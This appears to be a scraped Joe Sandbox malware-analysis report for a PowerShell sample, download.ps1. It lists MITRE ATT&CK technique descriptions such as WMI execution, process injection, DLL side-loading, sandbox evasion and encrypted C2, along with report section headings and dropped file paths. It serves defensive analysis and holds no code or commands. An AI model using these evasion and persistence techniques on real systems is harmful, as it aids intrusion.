Opcode Fuzzy Hash: 669b8c93b02d8f58aee77aff0d1a32ea60cca935c26099df29fd96ba3e98f65b
Instruction Fuzzy Hash: 52F0FE69F05D06D1DF049729DCA01696660BF787F0FD44731E95E863E0EE2CE59ACB40

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report download.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_check.exe_ee4b2146e406d55d1d7bff4ca9740b54ae3d236_f571cb24_2a5eb0fe-0972-454e-8954-f74986fe8bfc\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_check.exe_ee4b2146e406d55d1d7bff4ca9740b54ae3d236_f571cb24_3e448435-1099-49cd-afd7-49fbadfeefbf\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_check.exe_ee4b2146e406d55d1d7bff4ca9740b54ae3d236_f571cb24_d4a4b39a-344c-4a95-9476-01ba86772e24\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1E26.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F31.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F80.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3642.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER37CA.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3819.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD5F2.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD7C8.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD826.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140.dll

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\MSVCP140_1.dll

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Core.dll

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5DBus.dll

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Gui.dll

C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Network.dll

Windows Analysis Report
download.ps1

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre